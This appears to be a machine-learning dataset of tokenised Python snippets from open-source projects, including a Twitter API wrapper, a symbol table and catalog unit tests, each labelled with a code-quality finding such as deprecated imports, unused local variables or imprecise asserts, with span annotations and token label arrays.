", "neve", "r", " ", "call", " ", "job", ".", "Start", "()", " ", "sinc", "e", " ", "we", " ", "don", "'", "t", " ", "want", " ", "a", " ", "summar", "y", " ", "status", " ", "writt", "en", " ", "to", " ", "the", " ", "DB", ",", " ", "just", " ", "the", " ", "lock", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "gen_", "._", "Task_", "(_", "Run", "On", "ce_", ",_", "client_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "error_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "gen_", "._", "Task_", "(_", "job_", "._", "Release", "Lock_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Import of deprecated module
CollabQ/CollabQ/vendor/twitterapi/twitter.py
[ { "content": "#!/usr/bin/python2.4\n#\n# Copyright 2007 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n'''A library that provides a python interface to the Twitter API'''\n\n__author__ = '[email protected]'\n__version__ = '0.7-devel'\n\n\nimport base64\nimport calendar\nimport httplib\nimport os\nimport rfc822\nimport simplejson\nimport sys\nimport tempfile\nimport textwrap\nimport time\nimport urllib\nimport urllib2\nimport urlparse\n\ntry:\n from hashlib import md5\nexcept ImportError:\n from md5 import md5\n\nfrom google.appengine.ext import db\nfrom google.appengine.api import urlfetch\n\nCHARACTER_LIMIT = 140\n\n# A singleton representing a lazily instantiated FileCache.\nDEFAULT_CACHE = object()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "rfc822", "start_line": 26, "start_column": 7, "end_line": 26, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Import_", "of_", "deprecated_", "module_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python", "2.4", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2007", " ", "Goo", "gle", " ", "Inc", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "A", " ", "librar", "y", " ", "tha", "t", " ", "provide", "s", " ", "a", " ", "python", " ", "interface", " ", "to", " ", "the", " ", "Twit", "ter", " ", "API", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "'", "dew", "itt", "@", "google", ".", "com", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "version\\u\\u_", "=_", "'", "0.", "7", "-", "deve", "l", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "calendar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "httplib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "rfc", "822", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "simplejson_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "textwrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "hashlib_", "import_", "md5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "md5_", "import_", "md5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "ext_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "api_", "import_", "urlf", "etch", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CHARACTER", "\\u", "LIMIT_", "=_", "140_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "singleton", " ", "represent", "ing", " ", "a", " ", "laz", "il", "y", " ", "instantiate", "d", " ", "File", "Cache", "._", "\\u\\u\\uNL\\u\\u\\u_", "DEF", "AUL", "T", "\\u", "CACHE_", "=_", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
xraypy/xraylarch/lib/symboltable.py
[ { "content": " def has_symbol(self, symname):\n try:\n g = self.get_symbol(symname)\n return True\n except (LookupError, NameError, ValueError):\n return False", "metadata": "root.SymbolTable.has_symbol", "header": "['class', 'SymbolTable', '(', 'Group', ')', ':', '___EOS___']", "index": 350 }, { "content": " def has_group(self, gname):\n try:\n g = self.get_group(gname)\n return True\n except (NameError, LookupError):\n return False", "metadata": "root.SymbolTable.has_group", "header": "['class', 'SymbolTable', '(', 'Group', ')', ':', '___EOS___']", "index": 357 }, { "content": " def del_symbol(self, name):\n \"delete a symbol\"\n sym = self._lookup(name, create=False)\n parent, child = self.get_parent(name)\n self.clear_callbacks(name)\n delattr(parent, child)", "metadata": "root.SymbolTable.del_symbol", "header": "['class', 'SymbolTable', '(', 'Group', ')', ':', '___EOS___']", "index": 421 }, { "content": " def add_callback(self, name, func, args=None, kws=None):\n \"\"\"set a callback to be called when set_symbol() is called\n for a named variable\n \"\"\"\n try:\n var = self.get_symbol(name)\n except NameError:\n raise NameError(\n \"cannot locate symbol '%s' for callback\" % (name))\n key = self.get_parent(name)\n if key not in self.__callbacks:\n self.__callbacks[key] = []\n if args is None: args = ()\n if kws is None: kws = {}\n\n self.__callbacks[key].append((func, args, kws))", "metadata": "root.SymbolTable.add_callback", "header": "['class', 'SymbolTable', '(', 'Group', ')', ':', '___EOS___']", "index": 439 } ]
[ { "span": "g ", "start_line": 352, "start_column": 12, "end_line": 352, "end_column": 13 }, { "span": "g ", "start_line": 359, "start_column": 12, "end_line": 359, "end_column": 13 }, { "span": "sym ", "start_line": 423, "start_column": 8, "end_line": 423, "end_column": 11 }, { "span": "var ", "start_line": 444, "start_column": 12, "end_line": 444, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Sym", "bol", "Table_", "(_", "Group_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "symbol_", "(_", "self_", ",_", "sym", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "self_", "._", "get", "\\u", "symbol_", "(_", "sym", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Look", "up", "Error_", ",_", "Name", "Error_", ",_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sym", "bol", "Table_", "(_", "Group_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "group_", "(_", "self_", ",_", "gname", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "self_", "._", "get", "\\u", "group_", "(_", "gname", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Name", "Error_", ",_", "Look", "up", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sym", "bol", "Table_", "(_", "Group_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "del", "\\u", "symbol_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "delete", " ", "a", " ", "symbol", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sym_", "=_", "self_", "._", "\\u", "lookup_", "(_", "name_", ",_", "create_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", ",_", "child_", "=_", "self_", "._", "get", "\\u", "parent_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "callbacks_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delattr", "_", "(_", "parent_", ",_", "child_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sym", "bol", "Table_", "(_", "Group_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "callback_", "(_", "self_", ",_", "name_", ",_", "func_", ",_", "args_", "=_", "None_", ",_", "kws_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "set", " ", "a", " ", "callback", " ", "to", " ", "be", " ", "call", "ed", " ", "whe", "n", " ", "set\\u", "symbol", "()", " ", "is", " ", "call", "ed", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "a", " ", "named", " ", "variab", "le", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "var_", "=_", "self_", "._", "get", "\\u", "symbol_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Name", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Name", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cann", "ot", " ", "locat", "e", " ", "symbol", " ", "'%", "s", "'", " ", "for", " ", "callback", "\"_", "%_", "(_", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "key_", "=_", "self_", "._", "get", "\\u", "parent_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", "not_", "in_", "self_", "._", "\\u\\u", "callbacks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "callbacks_", "[_", "key_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "is_", "None_", ":_", "args_", "=_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "kws_", "is_", "None_", ":_", "kws_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "callbacks_", "[_", "key_", "]_", "._", "append_", "(_", "(_", "func_", ",_", "args_", ",_", "kws_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
mindsnacks/Zinc/tests/testZincCatalog.py
[ { "content": " def test_catalog_create(self):\n catalog = create_catalog_at_path(self.catalog_dir, 'com.mindsnacks.test')\n self.assertTrue(catalog is not None)\n self.assertTrue(len(catalog.index.bundle_names()) == 0)\n self.assertTrue(catalog.format() == defaults['zinc_format'])", "metadata": "root.ZincCatalogTestCase.test_catalog_create", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 75 }, { "content": " def test_bundle_names_with_no_bundles(self):\n catalog = create_catalog_at_path(self.catalog_dir, 'com.mindsnacks.test')\n self.assertTrue(len(catalog.index.bundle_names()) == 0)", "metadata": "root.ZincCatalogTestCase.test_bundle_names_with_no_bundles", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 94 }, { "content": " def test_versions_for_nonexistant_bundle(self):\n catalog = create_catalog_at_path(self.catalog_dir, 'com.mindsnacks.test')\n versions = catalog.index.versions_for_bundle(\"meep\")\n self.assertTrue(len(versions) == 0)", "metadata": "root.ZincCatalogTestCase.test_versions_for_nonexistant_bundle", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 98 }, { "content": " def test_create_bundle_version(self):\n catalog = self._build_test_catalog()\n self.assertTrue(\"meep\" in catalog.get_index().bundle_names())\n self.assertTrue(1 in catalog.get_index().versions_for_bundle(\"meep\"))\n manifest = catalog.manifest_for_bundle(\"meep\", 1)\n self.assertTrue(manifest is not None)\n for (file, props) in manifest.files.items():\n sha = props['sha']\n formats = props['formats']\n for format in formats.keys():\n ext = None\n if format == 'gz':\n ext = 'gz'\n object_path = ZincCatalogPathHelper().path_for_file_with_sha(sha, ext)\n self.assertTrue(self.path_exists_in_catalog(object_path))", "metadata": "root.ZincCatalogTestCase.test_create_bundle_version", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 111 }, { "content": " def test_bundle_name_in_manifest(self):\n catalog = self._build_test_catalog()\n bundle_name = \"meep\"\n manifest = catalog.manifest_for_bundle(bundle_name, 1)\n self.assertTrue(manifest.bundle_name == bundle_name)", "metadata": "root.ZincCatalogTestCase.test_bundle_name_in_manifest", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 127 }, { "content": " def test_create_second_bundle_version(self):\n catalog = self._build_test_catalog()\n # add a file\n create_random_file(self.scratch_dir)\n create_bundle_version(catalog, \"meep\", self.scratch_dir)\n self.assertTrue(2 in catalog.get_index().versions_for_bundle(\"meep\"))\n new_index = ZincIndex.from_path(os.path.join(catalog.path, defaults['catalog_index_name']))\n self.assertTrue(1 in new_index.versions_for_bundle(\"meep\"))\n self.assertTrue(2 in new_index.versions_for_bundle(\"meep\"))", "metadata": "root.ZincCatalogTestCase.test_create_second_bundle_version", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 140 }, { "content": " def test_create_duplicate_bundle_version_no_force(self):\n catalog = self._build_test_catalog()\n # add a file\n create_random_file(self.scratch_dir)\n # create first version\n manifest1 = create_bundle_version(catalog, \"meep\", self.scratch_dir)\n self.assertTrue(2 in catalog.get_index().versions_for_bundle(\"meep\"))\n # attempt to create same version again\n manifest2 = create_bundle_version(catalog, \"meep\", self.scratch_dir)\n self.assertEquals(manifest1.version, manifest2.version)", "metadata": "root.ZincCatalogTestCase.test_create_duplicate_bundle_version_no_force", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 150 }, { "content": " def test_create_duplicate_bundle_version_with_force(self):\n catalog = self._build_test_catalog()\n # add a file\n create_random_file(self.scratch_dir)\n # create first version\n manifest1 = create_bundle_version(catalog, \"meep\", self.scratch_dir)\n self.assertTrue(2 in catalog.get_index().versions_for_bundle(\"meep\"))\n # attempt to create same version again, with force\n manifest2 = create_bundle_version(catalog, \"meep\", self.scratch_dir,\n force=True)\n self.assertNotEquals(manifest1.version, manifest2.version)", "metadata": "root.ZincCatalogTestCase.test_create_duplicate_bundle_version_with_force", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 161 }, { "content": " def test_save_prev_distro_if_no_previous(self):\n # set up\n catalog = self._build_test_catalog()\n bundle_name, distro = \"meep\", \"master\"\n\n # create 'master' distro at v1\n catalog.update_distribution(distro, bundle_name, 1)\n\n # verify\n prev_distro = helpers.distro_previous_name(distro)\n prev_version = catalog.index.version_for_bundle(bundle_name, prev_distro)\n self.assertTrue(prev_version is None)", "metadata": "root.ZincCatalogTestCase.test_save_prev_distro_if_no_previous", "header": "['class', 'ZincCatalogTestCase', '(', 'TempDirTestCase', ')', ':', '___EOS___']", "index": 241 } ]
[ { "span": "self.assertTrue(catalog is not None)", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 44 }, { "span": "self.assertTrue(len(catalog.index.bundle_names()) == 0)", "start_line": 78, "start_column": 8, "end_line": 78, "end_column": 63 }, { "span": "self.assertTrue(catalog.format() == defaults['zinc_format'])", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 68 }, { "span": "self.assertTrue(len(catalog.index.bundle_names()) == 0)", "start_line": 96, "start_column": 8, "end_line": 96, "end_column": 63 }, { "span": "self.assertTrue(len(versions) == 0)", "start_line": 101, "start_column": 8, "end_line": 101, "end_column": 43 }, { "span": "self.assertTrue(\"meep\" in catalog.get_index().bundle_names())", "start_line": 113, "start_column": 8, "end_line": 113, "end_column": 69 }, { "span": "self.assertTrue(1 in catalog.get_index().versions_for_bundle(\"meep\"))", "start_line": 114, "start_column": 8, "end_line": 114, "end_column": 77 }, { "span": "self.assertTrue(manifest is not None)", "start_line": 116, "start_column": 8, "end_line": 116, "end_column": 45 }, { "span": "self.assertTrue(manifest.bundle_name == bundle_name)", "start_line": 131, "start_column": 8, "end_line": 131, "end_column": 60 }, { "span": "self.assertTrue(2 in catalog.get_index().versions_for_bundle(\"meep\"))", "start_line": 145, "start_column": 8, "end_line": 145, "end_column": 77 }, { "span": "self.assertTrue(1 in new_index.versions_for_bundle(\"meep\"))", "start_line": 147, "start_column": 8, "end_line": 147, "end_column": 67 }, { "span": "self.assertTrue(2 in new_index.versions_for_bundle(\"meep\"))", "start_line": 148, "start_column": 8, "end_line": 148, "end_column": 67 }, { "span": "self.assertTrue(2 in catalog.get_index().versions_for_bundle(\"meep\"))", "start_line": 156, "start_column": 8, "end_line": 156, "end_column": 77 }, { "span": "self.assertTrue(2 in catalog.get_index().versions_for_bundle(\"meep\"))", "start_line": 167, "start_column": 8, "end_line": 167, "end_column": 77 }, { "span": "self.assertTrue(prev_version is None)", "start_line": 252, "start_column": 8, "end_line": 252, "end_column": 45 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "catal", "og", "\\u", "create_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "create", "\\u", "catal", "og", "\\u", "at", "\\u", "path_", "(_", "self_", "._", "catal", "og", "\\u", "dir_", ",_", "'", "com", ".", "mind", "sna", "cks", ".", "test", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "catalog_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "catalog_", "._", "index_", "._", "bundle", "\\u", "names_", "(_", ")_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "catalog_", "._", "format_", "(_", ")_", "==_", "defaults_", "[_", "'", "zin", "c\\u", "format", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bundle", "\\u", "names", "\\u", "with", "\\u", "no", "\\u", "bundles_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 